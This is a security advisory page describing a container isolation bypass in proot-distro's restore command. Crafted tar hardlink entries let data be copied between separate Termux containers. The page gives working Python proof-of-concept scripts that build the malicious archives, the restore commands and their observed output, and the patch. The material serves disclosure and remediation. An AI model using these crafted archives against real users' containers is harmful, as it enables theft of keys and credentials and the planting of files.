Loading advisory.
Loading advisory.
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
Package: proot-distro Affected command: restore Attack surface: Host-side Termux CLI processing a user-supplied backup archive Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
Published 2026-07-29 16:41 UTC · Modified 2026-08-04 14:40 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score.
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| proot-distro | PyPI | < 5.1.6 versions 5.0.0, 5.0.0b1, 5.0.0b2, 5.0.0b3, 5.0.0b4, 5.0.0b5, 5.0.1, 5.0.2, 5.1.0, 5.1.1, 5.1.2, 5.1.3, 5.1.4, 5.1.5 | 5.1.6 | pip install --upgrade 'proot-distro>=5.1.6' |
Package: proot-distro
Affected command: restore
Attack surface: Host-side Termux CLI processing a user-supplied backup archive
Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
All testing was performed using self-owned containers and harmless marker data only.
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345proot-distro install alpine --name attackerpython3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'proot-distro restore ./malicious.tarproot-distro run attacker -- cat /exfil/stolen_keyObserved output:
PROOF-12345This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'proot-distro install alpine --name victimpython3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'proot-distro restore ./write_test.tarcat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"Observed output:
ATTACKER_DATAThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
Disclosure of files from other installed containers.
Injection of attacker-controlled files into other installed containers.
Exposure of SSH private keys.
Exposure of API credentials.
Exposure of configuration files containing secrets.
Exposure of application databases stored inside container rootfs directories.
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.
The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
link_container, link_src = _dest_path(member.linkname)
if link_src is None:
continue
if link_container != container_name:
continue
link_src = _safe_dest(
link_container,
link_src,
follow_final=True
)This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
Issue reproduced on the official Termux package repository.
No root access was used.
No third-party data was accessed.
Testing used only self-owned containers and harmless marker data.
Cross-container disclosure reproduced using the marker value PROOF-12345.
Cross-container file injection reproduced using the marker value ATTACKER_DATA.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.002 on 2026-11-24 to 0.002 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.002 | first score | v2026.06.15 |
| 2026-11-26 | 0.002 | 0.002 | v2026.06.15 |